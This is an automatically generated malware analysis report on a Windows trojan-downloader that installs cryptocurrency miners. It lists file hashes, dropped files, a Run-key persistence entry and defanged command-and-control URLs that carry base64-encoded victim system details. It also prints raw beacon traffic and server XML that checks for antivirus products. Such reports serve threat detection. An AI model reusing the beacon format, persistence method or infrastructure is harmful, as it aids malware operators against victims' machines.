Gen.Variant.Zusy.19326_367be1a66e

Gen:Variant.Zusy.19326 (BitDefender), HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.BtcMine.1223 (DrWeb), Gen:Variant.Zusy.19326 (B) (Emsisoft), Artemis!367BE1A66E21 (McAfee), Trojan.Gen (Symantec), T...
Blog rating:2 out of5 with1 ratings

Gen.Variant.Zusy.19326_367be1a66e

by malwarelabrobot on May 23rd, 2017 in Malware Descriptions.

Gen:Variant.Zusy.19326 (BitDefender), HEUR:Trojan.Win32.Generic (Kaspersky), Trojan.BtcMine.1223 (DrWeb), Gen:Variant.Zusy.19326 (B) (Emsisoft), Artemis!367BE1A66E21 (McAfee), Trojan.Gen (Symantec), Trojan-Downloader.MSIL.Agent (Ikarus), Gen:Variant.Zusy.19326 (FSecure), Downloader.MSIL.CENE (AVG), Win32:Malware-gen (Avast), Gen:Variant.Zusy.19326 (AdAware), Trojan.MSIL.Bladabindi.2.FD, mzpefinder_pcap_file.YR (Lavasoft MAS)
Behaviour: Trojan-Downloader, Trojan, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: 367be1a66e2132a1639578f7c1fafa14
SHA1: ebd15fdced6318a04a684b177618245abae6439c
SHA256: 8eb0e8a7312ecc0bbdb6ed4a29c783166075816b887420da052fdc872f3a3bb4
SSDeep: 384:aCRn2ig DQc4O12PtfGImkLRbNtXTgDGp z0HwzQOZDybVcRPLM :aGn2ig DQc4OWtfLLntXTgDfj6c5Q
Size: 30720 bytes
File type: EXE
Platform: WIN32
Entropy: Not Packed
PEID: MicrosoftVisualC, NETexecutable, UPolyXv05_v6
Company:
Created at: 1970-01-01 03:00:00
Analyzed on: Windows7 SP1 32-bit


Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

f98e814b1ee5dfe36f5c4182bd58b2f8.exe:4000
cpuinfo.exe:4044
%original file name%.exe:2748
7z.exe:3704
wscript.exe:2172
wscript.exe:4032

The Trojan injects its code into the following process(es):
No processes have been created.

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process f98e814b1ee5dfe36f5c4182bd58b2f8.exe:4000 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AMD.zip (22231 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Every.zip (1168 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7zxa.dll (1617 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Intel.zip (26230 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.exe (4481 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7z.exe (4985 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\install.vbs (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7za.dll (3313 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_363201 (0 bytes)

The process cpuinfo.exe:4044 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.txt (51 bytes)

The process %original file name%.exe:2748 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\f98e814b1ee5dfe36f5c4182bd58b2f8.exe (44886 bytes)

The process 7z.exe:3704 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.vbs (171 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\ssleay32.dll (5128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\cudart32_60.dll (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5WebSockets.dll (2712 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\platforms\qwindows.dll (16304 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\vccorlib110.dll (4984 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\msvcr110.dll (15568 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\msvcp110.dll (10448 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5Core.dll (71595 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\libeay32.dll (17572 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5Network.dll (14600 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.exe (131624 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.bat (154 bytes)

The process wscript.exe:2172 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.bat (4 bytes)

The process wscript.exe:4032 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.exe (212 bytes)

The Trojan deletes the following file(s):

C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\AMD.zip (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.txt (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7zxa.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Intel.zip (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\cpuinfo.exe (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7z.exe (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\install.vbs (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\7za.dll (0 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\RarSFX0\Every.zip (0 bytes)

Registry activity

The process f98e814b1ee5dfe36f5c4182bd58b2f8.exe:4000 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process %original file name%.exe:2748 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASMANCS]
"FileDirectory" = "%windir%\tracing"
"FileTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASAPI32]
"ConsoleTracingMask" = "4294901760"
"EnableConsoleTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASMANCS]
"EnableConsoleTracing" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASMANCS]
"MaxFileSize" = "1048576"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASAPI32]
"FileDirectory" = "%windir%\tracing"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASMANCS]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASAPI32]
"EnableFileTracing" = "0"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASMANCS]
"ConsoleTracingMask" = "4294901760"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASAPI32]
"FileTracingMask" = "4294901760"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Tracing\367be1a66e2132a1639578f7c1fafa14_RASAPI32]
"MaxFileSize" = "1048576"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process wscript.exe:2172 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process wscript.exe:4032 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

"UNCAsIntranet" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
".security" = "wscript.exe C:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.vbs"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
".security"

Dropped PE files

MD5 File path
e76eb69d67b00e4e05daed73cfceedf7 c:\Users\"%CurrentUserName%"\AppData\Local\Temp\f98e814b1ee5dfe36f5c4182bd58b2f8.exe
9cd1ed04e31fbdce1d71fe0e73107b68 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5Core.dll
55d64441085b6eab00efdd02676753d3 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5Network.dll
c820b0e4945d9d3817c399912df82154 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\Qt5WebSockets.dll
2a4a6c3440f3ec27ea7b2ec417808445 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\cudart32_60.dll
1e8bd34482311e751aa976ea6c95d176 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\libeay32.dll
3e29914113ec4b968ba5eb1f6d194a0a c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\msvcp110.dll
4ba25d2cbe1587a841dcfb8c8c4a6ea6 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\msvcr110.dll
2281b176762cb73856c92e7f4ff139a4 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\platforms\qwindows.dll
c84d8f59938900d0fca297df3be8ffbd c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\ssleay32.dll
6bfa9e2a39abb5424f3786fef275d6cf c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\svchost.exe
c5c2295981eedeff9924889a7f084cc2 c:\Users\"%CurrentUserName%"\AppData\Roaming\.security\vccorlib110.dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 8192 18372 18432 3.71566 6b292f6b77e81cc34bf01b3ee5a987c9
.rsrc 32768 10992 11264 3.46752 3d9d193cbaca31cdc3fb40b9a858ab70
.reloc 49152 12 512 0.056519 fa3e8f02d7327e75e9f8bdff06a21a29

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 1
1f5e488e8aa3db20bed55d59c22a93ab

URLs

URL IP
hxxp://rxxfrnpzgysuojx.tk/installer/starts?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiIiLCJ4SGFzaERvd25sb2FkIjoiIiwieEhhc2hMYXVuY2hlIjoiIiwieEhhc2hXb3JrIjoiIiwieEhhc2hJbnN0YWxsIjoiIiwieEhhc2hGYWlsdXJlIjoiIiwieEhhc2hQcm9kdWN0IjoiIiwieE1hY2hpbmVJRCI6Ijk5OGYtMWM4MC1iNDQyLTUzNzAtNWFlZC02MDA2LWNlYjMtODc1NyIsInhPU1ZlcnNpb25NYWpvciI6IjYiLCJ4T1NWZXJzaW9uTWlub3IiOiIxIiwieE9TVmVyc2lvblN0cmluZyI6Ik1pY3Jvc29mdCBXaW5kb3dzIE5UIDYuMS43NjAxIFNlcnZpY2UgUGFjayAxIiwieE9TVmVyc2lvbiI6IjYuMS43NjAxLjY1NTM2IiwieE9TU2VydmljZVBhY2siOiJTZXJ2aWNlIFBhY2sgMSIsInhPU1JldmlzaW9uIjoiNTQ1NiIsInhPU0J1aWxkIjoiNTA3MjciLCJ4T1NVc2VyTmFtZSI6ImFkbSIsInhPU01hY2hpbmVOYW1lIjoiV0lOLVVLMEZGT084M0k2IiwieE9TQ3VycmVudERpcmVjdG9yeSI6IkQ6XFwiLCJ4T1NMYW5ndWFnZSI6ImVuIiwieE9TQXJjaGl0ZWN0dXJlIjoiMzIiLCJ4T1NQcm9kdWN0TmFtZSI6IldpbmRvd3MgNyBVbHRpbWF0ZSJ9 104.31.85.157
hxxp://rxxfrnpzgysuojx.tk/installer/downloads?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIiLCJ4SGFzaExhdW5jaGUiOiIiLCJ4SGFzaFdvcmsiOiIiLCJ4SGFzaEluc3RhbGwiOiIiLCJ4SGFzaEZhaWx1cmUiOiIiLCJ4SGFzaFByb2R1Y3QiOiIwYjFjNWMzZGM2NWNmMTcyMTczNDg2OTQxNTVlMWZkMSIsInhNYWNoaW5lSUQiOiI5OThmLTFjODAtYjQ0Mi01MzcwLTVhZWQtNjAwNi1jZWIzLTg3NTciLCJ4T1NWZXJzaW9uTWFqb3IiOiI2IiwieE9TVmVyc2lvbk1pbm9yIjoiMSIsInhPU1ZlcnNpb25TdHJpbmciOiJNaWNyb3NvZnQgV2luZG93cyBOVCA2LjEuNzYwMSBTZXJ2aWNlIFBhY2sgMSIsInhPU1ZlcnNpb24iOiI2LjEuNzYwMS42NTUzNiIsInhPU1NlcnZpY2VQYWNrIjoiU2VydmljZSBQYWNrIDEiLCJ4T1NSZXZpc2lvbiI6IjU0NTYiLCJ4T1NCdWlsZCI6IjUwNzI3IiwieE9TVXNlck5hbWUiOiJhZG0iLCJ4T1NNYWNoaW5lTmFtZSI6IldJTi1VSzBGRk9PODNJNiIsInhPU0N1cnJlbnREaXJlY3RvcnkiOiJEOlxcIiwieE9TTGFuZ3VhZ2UiOiJlbiIsInhPU0FyY2hpdGVjdHVyZSI6IjMyIiwieE9TUHJvZHVjdE5hbWUiOiJXaW5kb3dzIDcgVWx0aW1hdGUifQ,, 104.31.85.157
hxxp://rxxfrnpzgysuojx.tk/builds/f98e814b1ee5dfe36f5c4182bd58b2f8.exe 104.31.85.157
hxxp://rxxfrnpzgysuojx.tk/installer/launches?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIzM2QyMjNhYmQ3OTEzZjg2YmY2MmFkNWE3NDA3ZTk2ZiIsInhIYXNoTGF1bmNoZSI6IiIsInhIYXNoV29yayI6IiIsInhIYXNoSW5zdGFsbCI6IiIsInhIYXNoRmFpbHVyZSI6IiIsInhIYXNoUHJvZHVjdCI6IjBiMWM1YzNkYzY1Y2YxNzIxNzM0ODY5NDE1NWUxZmQxIiwieE1hY2hpbmVJRCI6Ijk5OGYtMWM4MC1iNDQyLTUzNzAtNWFlZC02MDA2LWNlYjMtODc1NyIsInhPU1ZlcnNpb25NYWpvciI6IjYiLCJ4T1NWZXJzaW9uTWlub3IiOiIxIiwieE9TVmVyc2lvblN0cmluZyI6Ik1pY3Jvc29mdCBXaW5kb3dzIE5UIDYuMS43NjAxIFNlcnZpY2UgUGFjayAxIiwieE9TVmVyc2lvbiI6IjYuMS43NjAxLjY1NTM2IiwieE9TU2VydmljZVBhY2siOiJTZXJ2aWNlIFBhY2sgMSIsInhPU1JldmlzaW9uIjoiNTQ1NiIsInhPU0J1aWxkIjoiNTA3MjciLCJ4T1NVc2VyTmFtZSI6ImFkbSIsInhPU01hY2hpbmVOYW1lIjoiV0lOLVVLMEZGT084M0k2IiwieE9TQ3VycmVudERpcmVjdG9yeSI6IkQ6XFwiLCJ4T1NMYW5ndWFnZSI6ImVuIiwieE9TQXJjaGl0ZWN0dXJlIjoiMzIiLCJ4T1NQcm9kdWN0TmFtZSI6IldpbmRvd3MgNyBVbHRpbWF0ZSJ9 104.31.85.157
hxxp://rxxfrnpzgysuojx.tk/installer/works?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIzM2QyMjNhYmQ3OTEzZjg2YmY2MmFkNWE3NDA3ZTk2ZiIsInhIYXNoTGF1bmNoZSI6IjRmMzc4NDhlMWRmNmMwZGIyYTdiMzlhZTRiNzQyYWQxIiwieEhhc2hXb3JrIjoiIiwieEhhc2hJbnN0YWxsIjoiIiwieEhhc2hGYWlsdXJlIjoiIiwieEhhc2hQcm9kdWN0IjoiMGIxYzVjM2RjNjVjZjE3MjE3MzQ4Njk0MTU1ZTFmZDEiLCJ4TWFjaGluZUlEIjoiOTk4Zi0xYzgwLWI0NDItNTM3MC01YWVkLTYwMDYtY2ViMy04NzU3IiwieE9TVmVyc2lvbk1ham9yIjoiNiIsInhPU1ZlcnNpb25NaW5vciI6IjEiLCJ4T1NWZXJzaW9uU3RyaW5nIjoiTWljcm9zb2Z0IFdpbmRvd3MgTlQgNi4xLjc2MDEgU2VydmljZSBQYWNrIDEiLCJ4T1NWZXJzaW9uIjoiNi4xLjc2MDEuNjU1MzYiLCJ4T1NTZXJ2aWNlUGFjayI6IlNlcnZpY2UgUGFjayAxIiwieE9TUmV2aXNpb24iOiI1NDU2IiwieE9TQnVpbGQiOiI1MDcyNyIsInhPU1VzZXJOYW1lIjoiYWRtIiwieE9TTWFjaGluZU5hbWUiOiJXSU4tVUswRkZPTzgzSTYiLCJ4T1NDdXJyZW50RGlyZWN0b3J5IjoiRDpcXCIsInhPU0xhbmd1YWdlIjoiZW4iLCJ4T1NBcmNoaXRlY3R1cmUiOiIzMiIsInhPU1Byb2R1Y3ROYW1lIjoiV2luZG93cyA3IFVsdGltYXRlIn0, 104.31.85.157
hxxp://rxxfrnpzgysuojx.tk/installer/installs?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIzM2QyMjNhYmQ3OTEzZjg2YmY2MmFkNWE3NDA3ZTk2ZiIsInhIYXNoTGF1bmNoZSI6IjRmMzc4NDhlMWRmNmMwZGIyYTdiMzlhZTRiNzQyYWQxIiwieEhhc2hXb3JrIjoiMWFlMDAwNTg5ZjYzNzJiZTcyOTVkYjFkNDljYzYzMjQiLCJ4SGFzaEluc3RhbGwiOiIiLCJ4SGFzaEZhaWx1cmUiOiIiLCJ4SGFzaFByb2R1Y3QiOiIwYjFjNWMzZGM2NWNmMTcyMTczNDg2OTQxNTVlMWZkMSIsInhNYWNoaW5lSUQiOiI5OThmLTFjODAtYjQ0Mi01MzcwLTVhZWQtNjAwNi1jZWIzLTg3NTciLCJ4T1NWZXJzaW9uTWFqb3IiOiI2IiwieE9TVmVyc2lvbk1pbm9yIjoiMSIsInhPU1ZlcnNpb25TdHJpbmciOiJNaWNyb3NvZnQgV2luZG93cyBOVCA2LjEuNzYwMSBTZXJ2aWNlIFBhY2sgMSIsInhPU1ZlcnNpb24iOiI2LjEuNzYwMS42NTUzNiIsInhPU1NlcnZpY2VQYWNrIjoiU2VydmljZSBQYWNrIDEiLCJ4T1NSZXZpc2lvbiI6IjU0NTYiLCJ4T1NCdWlsZCI6IjUwNzI3IiwieE9TVXNlck5hbWUiOiJhZG0iLCJ4T1NNYWNoaW5lTmFtZSI6IldJTi1VSzBGRk9PODNJNiIsInhPU0N1cnJlbnREaXJlY3RvcnkiOiJEOlxcIiwieE9TTGFuZ3VhZ2UiOiJlbiIsInhPU0FyY2hpdGVjdHVyZSI6IjMyIiwieE9TUHJvZHVjdE5hbWUiOiJXaW5kb3dzIDcgVWx0aW1hdGUifQ,, 104.31.85.157
hxxp://rxxfrnpzgysuojx.tk/installer/finishes?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIiLCJ4SGFzaExhdW5jaGUiOiIiLCJ4SGFzaFdvcmsiOiIiLCJ4SGFzaEluc3RhbGwiOiIiLCJ4SGFzaEZhaWx1cmUiOiIiLCJ4SGFzaFByb2R1Y3QiOiJkMTQzZDEyZTgwYjZkM2E3YzE4NmNmZmRlNjNlNmY0NSIsInhNYWNoaW5lSUQiOiI5OThmLTFjODAtYjQ0Mi01MzcwLTVhZWQtNjAwNi1jZWIzLTg3NTciLCJ4T1NWZXJzaW9uTWFqb3IiOiI2IiwieE9TVmVyc2lvbk1pbm9yIjoiMSIsInhPU1ZlcnNpb25TdHJpbmciOiJNaWNyb3NvZnQgV2luZG93cyBOVCA2LjEuNzYwMSBTZXJ2aWNlIFBhY2sgMSIsInhPU1ZlcnNpb24iOiI2LjEuNzYwMS42NTUzNiIsInhPU1NlcnZpY2VQYWNrIjoiU2VydmljZSBQYWNrIDEiLCJ4T1NSZXZpc2lvbiI6IjU0NTYiLCJ4T1NCdWlsZCI6IjUwNzI3IiwieE9TVXNlck5hbWUiOiJhZG0iLCJ4T1NNYWNoaW5lTmFtZSI6IldJTi1VSzBGRk9PODNJNiIsInhPU0N1cnJlbnREaXJlY3RvcnkiOiJEOlxcIiwieE9TTGFuZ3VhZ2UiOiJlbiIsInhPU0FyY2hpdGVjdHVyZSI6IjMyIiwieE9TUHJvZHVjdE5hbWUiOiJXaW5kb3dzIDcgVWx0aW1hdGUifQ,, 104.31.85.157
minergate.com 148.251.8.172
dns.msftncsi.com 131.107.255.255
www.google.com 216.58.214.228


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET POLICY HTTP Request to a *.tk domain
ET POLICY PE EXE or DLL Windows file download HTTP
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET TROJAN VMProtect Packed Binary Inbound via HTTP - Likely Hostile

Traffic

GET /installer/starts?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiIiLCJ4SGFzaERvd25sb2FkIjoiIiwieEhhc2hMYXVuY2hlIjoiIiwieEhhc2hXb3JrIjoiIiwieEhhc2hJbnN0YWxsIjoiIiwieEhhc2hGYWlsdXJlIjoiIiwieEhhc2hQcm9kdWN0IjoiIiwieE1hY2hpbmVJRCI6Ijk5OGYtMWM4MC1iNDQyLTUzNzAtNWFlZC02MDA2LWNlYjMtODc1NyIsInhPU1ZlcnNpb25NYWpvciI6IjYiLCJ4T1NWZXJzaW9uTWlub3IiOiIxIiwieE9TVmVyc2lvblN0cmluZyI6Ik1pY3Jvc29mdCBXaW5kb3dzIE5UIDYuMS43NjAxIFNlcnZpY2UgUGFjayAxIiwieE9TVmVyc2lvbiI6IjYuMS43NjAxLjY1NTM2IiwieE9TU2VydmljZVBhY2siOiJTZXJ2aWNlIFBhY2sgMSIsInhPU1JldmlzaW9uIjoiNTQ1NiIsInhPU0J1aWxkIjoiNTA3MjciLCJ4T1NVc2VyTmFtZSI6ImFkbSIsInhPU01hY2hpbmVOYW1lIjoiV0lOLVVLMEZGT084M0k2IiwieE9TQ3VycmVudERpcmVjdG9yeSI6IkQ6XFwiLCJ4T1NMYW5ndWFnZSI6ImVuIiwieE9TQXJjaGl0ZWN0dXJlIjoiMzIiLCJ4T1NQcm9kdWN0TmFtZSI6IldpbmRvd3MgNyBVbHRpbWF0ZSJ9 HTTP/1.1
Host: rxxfrnpzgysuojx.tk
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Mon, 22 May 2017 07:44:12 GMT
Content-Type: text/xml; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=df1eaed814dc265bed0faa337f178dca41495439051; expires=Tue, 22-May-18 07:44:11 GMT; path=/; domain=.rxxfrnpzgysuojx.tk; HttpOnly
Vary: Accept-Encoding
Cache-Control: max-age=1
Expires: Mon, 22 May 2017 07:44:13 GMT
Server: cloudflare-nginx
CF-RAY: 362e261ac2ca4f44-DME
ae0..<?xml version="1.0" encoding="utf-8"?>.<root>.<has
h>5d83c14668b0d3e2ede71ae5f61e1b4c</hash>.<products>.&l
t;product id="3308">.<id>3308</id>.<hash>0b1c5c3d
c65cf17217348694155e1fd1</hash>.<name>Miner by Merchant v3
</name>.<prechecks>.<precheck mode="failed" method="pat
h" path="%AppData%\.security" key="" compare="equal" value=""></
precheck>.</prechecks>.<postchecks>.<postcheck mode=
"passed" method="path" path="%AppData%\.security" key="" compare="equa
l" value=""></postcheck>.</postchecks>.<filename>
f98e814b1ee5dfe36f5c4182bd58b2f8.exe</filename>.<filetype>
application/x-dosexec; charset=binary</filetype>.<arguments&g
t;-</arguments>.</product>.<product id="27">.<id&
gt;27</id>.<hash>d143d12e80b6d3a7c186cffde63e6f45</hash
>.<name>Miner by shadowmarket</name>.<prechecks>.
<precheck mode="failed" method="key" path="HKEY_CURRENT_USER\Softwa
re\AVAST" key="" compare="equal" value=""></precheck>.<pre
check mode="failed" method="key" path="HKEY_CURRENT_USER\Software\AVAS
T Software\Avast" key="" compare="equal" value=""></precheck>
.<precheck mode="failed" method="key" path="HKEY_CURRENT_USER\Softw
are\ESET" key="" compare="equal" value=""></precheck>.<pre
check mode="failed" method="key" path="HKEY_CURRENT_USER\Software\Kasp
erskyLab" key="" compare="equal" value=""></precheck>.<
<<< skipped >>>

GET /installer/downloads?eyJ4SGFzaFJlcXVlc3QiOiJmNWJiNTViY2RjMzZmNzY4Zjc5ODIxN2UxYTk0Zjk1ZCIsInhIYXNoU3RhcnQiOiI1ZDgzYzE0NjY4YjBkM2UyZWRlNzFhZTVmNjFlMWI0YyIsInhIYXNoRG93bmxvYWQiOiIiLCJ4SGFzaExhdW5jaGUiOiIiLCJ4SGFzaFdvcmsiOiIiLCJ4SGFzaEluc3RhbGwiOiIiLCJ4SGFzaEZhaWx1cmUiOiIiLCJ4SGFzaFByb2R1Y3QiOiIwYjFjNWMzZGM2NWNmMTcyMTczNDg2OTQxNTVlMWZkMSIsInhNYWNoaW5lSUQiOiI5OThmLTFjODAtYjQ0Mi01MzcwLTVhZWQtNjAwNi1jZWIzLTg3NTciLCJ4T1NWZXJzaW9uTWFqb3IiOiI2IiwieE9TVmVyc2lvbk1pbm9yIjoiMSIsInhPU1ZlcnNpb25TdHJpbmciOiJNaWNyb3NvZnQgV2luZG93cyBOVCA2LjEuNzYwMSBTZXJ2aWNlIFBhY2sgMSIsInhPU1ZlcnNpb24iOiI2LjEuNzYwMS42NTUzNiIsInhPU1NlcnZpY2VQYWNrIjoiU2VydmljZSBQYWNrIDEiLCJ4T1NSZXZpc2lvbiI6IjU0NTYiLCJ4T1NCdWlsZCI6IjUwNzI3IiwieE9TVXNlck5hbWUiOiJhZG0iLCJ4T1NNYWNoaW5lTmFtZSI6IldJTi1VSzBGRk9PODNJNiIsI